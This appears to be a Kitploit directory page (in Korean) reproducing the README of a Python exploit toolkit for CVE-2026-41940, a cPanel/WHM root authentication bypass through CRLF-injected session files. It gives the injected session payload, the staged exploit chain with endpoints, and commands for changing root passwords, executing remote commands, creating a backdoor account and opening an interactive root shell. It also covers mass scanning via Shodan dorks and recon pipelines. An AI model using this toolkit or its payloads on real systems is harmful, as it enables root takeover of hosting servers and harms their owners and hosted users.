Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Automated-scanner-CVE-2026-41940 — CVE-2026-41940 — 세션 파일 CRLF 인젝션을 통한 cPanel 및 WHM 루트 인증 우회를 위한 자동화 스캐너 및 포스트 익스플로잇 툴킷 | Kitploit
도구/GitHubGitHub/sardine-web/automated-scanner-cve-2026-41940
Authentication & AuthorizationReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and Control

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Red Teaming
Payload Development
GitHubsardine-web/automated-scanner-cve-2026-41940

Automated-scanner-CVE-2026-41940

CVE-2026-41940 — 세션 파일 CRLF 인젝션을 통한 cPanel 및 WHM 루트 인증 우회를 위한 자동화 스캐너 및 포스트 익스플로잇 툴킷

저장소 보기
163개월 전아직 검토되지 않음

CPANEL CVE EXPLOIT

영어 | فارسی (페르시아어)

root@kitploit:~
 ██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

Python CVE CVSS License Stdlib

CVE-2026-41940용 자동화 스캐너 및 포스트 익스플로잇 도구 키트 — 세션 파일 CRLF 주입을 통한 cPanel 및 WHM 루트 인증 우회.


목차

  • 개요
  • CVE 세부 정보
  • 작동 방식
  • 기능
  • 영향을 받는 버전
  • 요구 사항
  • 설치
  • 빠른 시작
  • 사용법
  • 포스트 익스플로잇 작업
  • 대화형 WHM 셸
  • 대량 스캔 및 파이프라인 통합
  • Shodan Dorks
  • 출력 형식
  • 예제 세션
  • 법적 고지

개요

CPANEL CVE EXPLOIT는 CVE-2026-41940에 취약한 cPanel 및 WHM 서버에 대한 승인된 보안 평가를 위해 설계된 단일 파일 Python 도구입니다.

이 취약점을 통해 인증되지 않은 원격 공격자는 Authorization: Basic 헤더의 CRLF 주입으로 WHM 세션 파일을 오염시켜 인증을 우회하고 유효한 자격 증명 없이 루트 수준의 WHM 액세스를 획득할 수 있습니다.


CVE 세부 정보

근본 원인

취약한 버전의 cPanel 및 WHM에서 Session.pm의 saveSession()은 세션 파일을 디스크에 기록한 후에 filter_sessiondata()를 호출합니다. 공격자는 HTTP Authorization: Basic 헤더를 통해 CRLF(\r\n) 문자를 주입할 수 있으며, 이는 삭제 절차를 우회하여 디스크의 세션 파일에 직접 기록됩니다.

주입된 세션 필드

이 도구는 다음으로 디코딩되는 Base64 인코딩 페이로드를 사용합니다:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

이 필드들은 2FA 우회(tfa_verified=1) 및 루트 권한 플래그(hasroot=1)를 포함하여 완전히 인증된 루트 WHM 세션을 시뮬레이션합니다.

패치

cPanel은 Session.pm에서 filter_sessiondata()가 세션 쓰기 작업 이전에 실행되도록 변경했습니다.


작동 방식

익스플로잇 체인은 5단계(Stage 0–4)로 구성됩니다:

root@kitploit:~
flowchart TD
    A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
    B --> C[Stage 2: CRLF Injection via Authorization Header]
    C --> D[Stage 3: Session Propagation via do_token_denied]
    D --> E[Stage 4: Verify Root Access via json-api/version]
    E --> F{Vulnerable?}
    F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
    F -->|No| H[Skip Target]

    A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
    B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
    C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
    D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
    E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]

기능


영향을 받는 버전

참고: 패치된 빌드를 실행 중인 대상은 스캔 중 자동으로 표시되어 건너뜁니다.


요구 사항

핵심 (필수)

  • Python 3.8+
  • 외부 패키지 없음 — Python 표준 라이브러리만 사용

선택 사항

패키지용도
selenium브라우저 자동 로그인 (--selenium)
Chrome / FirefoxSelenium용 브라우저 엔진
root@kitploit:~
pip install -r requirements.txt   # optional — selenium only

설치

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

빌드 단계가 필요 없습니다. 바로 실행하세요:

root@kitploit:~
python3 test-cve.py --help

빠른 시작

root@kitploit:~
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087

# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list

# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json

사용법

root@kitploit:~
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

대상 옵션

플래그설명
-u, --url단일 대상 URL (예: https://host:2087)

스캔 옵션

출력 옵션

플래그설명
-o, --output결과를 JSON 파일로 저장
--no-colorANSI 색상 출력 비활성화

포스트 익스플로잇 작업

포스트 익스플로잇 플래그는 단일 대상에서만 작동합니다(-u, 대량 스캔 아님).

예제

root@kitploit:~
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell

# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser

대화형 WHM 셸

전체 대화형 세션을 위해 --action shell로 실행하세요:

root@kitploit:~
[email protected] ▶ help

  id / whoami / hostname / version  → server info
  ls [path]                         → file listing
  cat [path]                        → read file contents
  accounts                          → list cPanel accounts
  addadmin <user> <pass>            → create WHM admin/reseller
  passwd <newpass>                  → change root password
  exec <command>                    → run OS command
  exit / quit                       → exit shell

예제:

root@kitploit:~
[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

대량 스캔 및 파이프라인 통합

파일에서

root@kitploit:~
python3 test-cve.py -l targets.txt -t 20 -o results.json

stdin(파이프)에서

root@kitploit:~
cat urls.txt | python3 test-cve.py

# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

지원되는 입력 형식

형식예시
전체 URLhttps://192.168.1.1:2087
IP + 포트192.168.1.1 2087
Shodan 출력정규식을 통해 자동 파싱
ANSI 색상 출력자동 제거

Shodan Dorks

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

출력 형식

-o results.json을 사용하면 결과가 JSON으로 저장됩니다:

root@kitploit:~
{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

콘솔 요약

root@kitploit:~
══════════════════════════════════════════════════════════════════════
  cPanelSniper — CVE-2026-41940 Scan Complete
  Time: 12.4s  ·  Targets: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 VULNERABLE TARGET(S)

  Target   : https://victim1.com:2087
  Version  : 11.126.0.50
  Token    : /cpsess1234567890
  API URL  : https://victim1.com:2087/cpsess1234567890/json-api/version
  Evidence : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

예제 세션

root@kitploit:~
$ python3 test-cve.py -u https://target.com:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [  OK] Stage1: preauth session = root:abc123...
12:00:03 [  OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND]   Token    : /cpsess1234567890
12:00:05 [PWND]   Session  : root:abc123...
12:00:05 [PWND]   Version  : 11.126.0.50
12:00:05 [PWND]   API URL  : https://target.com:2087/cpsess1234567890/json-api/version

프로젝트 구조

root@kitploit:~
cpanel-cve-exploit/
├── test-cve.py        # Main scanner & exploit tool (single file)
├── requirements.txt   # Optional: selenium
├── README.md          # English documentation
└── README.fa.md       # Persian documentation (فارسی)

법적 고지

승인된 보안 테스트 전용

이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

  • 소유하거나 테스트에 대한 명시적인 서면 허가를 받은 시스템에만 사용하십시오.
  • 승인되지 않은 컴퓨터 시스템 접근은 CFAA(미국), Computer Misuse Act(영국) 및 전 세계의 동등한 법률에 따라 불법입니다.
  • CVE-2026-41940의 실제 환경 악용이 확인되었습니다 — 영향을 받는 시스템에 즉시 패치하십시오.
  • 작성자와 기여자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.

이 도구를 사용하면 모든 관련 법률을 준수하며 책임감 있게 사용하는 데 동의하는 것입니다.


참고 자료

  • CVE-2026-41940 — NVD 항목
  • cPanel 보안 권고 — Session.pm CRLF 주입 패치
  • WHM 기본 포트: 2087 (HTTPS)

보안 연구자를 위해 제작됨 · 책임감 있게 사용하세요

도구 다운로드
속성값
CVECVE-2026-41940
심각도치명적(Critical)
CVSS10.0
공격 경로네트워크 / 인증 없음
영향전체 WHM 루트 액세스
기본 포트2087 (WHM)
상태실제 환경 악용 확인됨 (2026년 4월)
단계엔드포인트목적
0/openid_connect/cpanelid307 리디렉션을 통해 정식 호스트 이름 자동 발견
1/login/?login_only=1잘못된 자격 증명으로 사전 인증 whostmgrsession 쿠키 획득
2/CRLF로 오염된 Authorization: Basic 헤더를 세션 파일에 주입
3/scripts2/listacctsdo_token_denied 가젯을 트리거하여 세션을 캐시로 플러시
4/{token}/json-api/version루트 액세스 확인 — HTTP 200 + 버전 JSON
기능설명
단일 대상 스캔단일 WHM URL에 대한 전체 익스플로잇 체인
대량 스캔파일 또는 stdin에서 다중 스레드 스캔
버전 감지패치/취약 버전 자동 비교
포스트 익스플로잇 API비밀번호 변경, 명령 실행, 계정 목록, 사용자 생성
대화형 셸파일 읽기 및 API 명령을 지원하는 내장 WHM 루트 셸
Selenium 로그인Chrome/Firefox에 세션 쿠키 자동 주입
수동 브라우저 대체수동 WHM 로그인을 위한 콘솔 JavaScript 스니펫
RCE 확인우회 후 빠른 id / uname -a 검증
JSON 내보내기모든 결과를 구조화된 JSON 보고서로 저장
파이프라인 지원httpx, subfinder, shodan, awk 파이프라인과 호환
표준 라이브러리 전용핵심 기능에 pip 의존성 불필요
색상화 출력심각도 표시기를 포함한 실시간 단계 로깅
브랜치패치 버전상태
11.110.x11.110.0.97패치 미만 버전 취약
11.118.x11.118.0.63패치 미만 버전 취약
11.126.x11.126.0.54패치 미만 버전 취약
11.132.x11.132.0.29패치 미만 버전 취약
11.134.x11.134.0.20패치 미만 버전 취약
11.136.x11.136.0.5패치 미만 버전 취약
-l, --listURL이 한 줄에 하나씩 포함된 파일
--hostname정식 Host 헤더 재정의 (기본값: 자동 발견)
플래그기본값설명
-t, --threads10동시 스캔 스레드 수
--timeout15HTTP 타임아웃(초)
--rate-limit0대상 제출 간 지연(초)
작업플래그설명
스캔만(기본값)익스플로잇 체인을 실행하고 취약점 보고
계정 목록--action listWHM API를 통해 모든 cPanel 계정 나열
비밀번호 변경--action passwd --passwd <pass>root WHM 비밀번호 변경
명령 실행--action cmd --cmd "id;whoami"WHM exec API를 통해 OS 명령 실행
서버 정보--action info호스트 이름, 부하, 디스크, 버전 수집
버전 확인--action versionAPI를 통해 cPanel/WHM 버전 가져오기
계정 생성--action adduser --new-user u --new-domain d.com --passwd p새 cPanel 계정 생성
대화형 셸--action shell대화형 WHM 루트 셸 실행
RCE 확인--check-rce우회 성공 후 id;uname -a 실행
Selenium 로그인--selenium [--engine chrome|firefox]브라우저에서 WHM 대시보드에 자동 로그인
수동 브라우저--browser수동 로그인을 위한 JavaScript 콘솔 명령 출력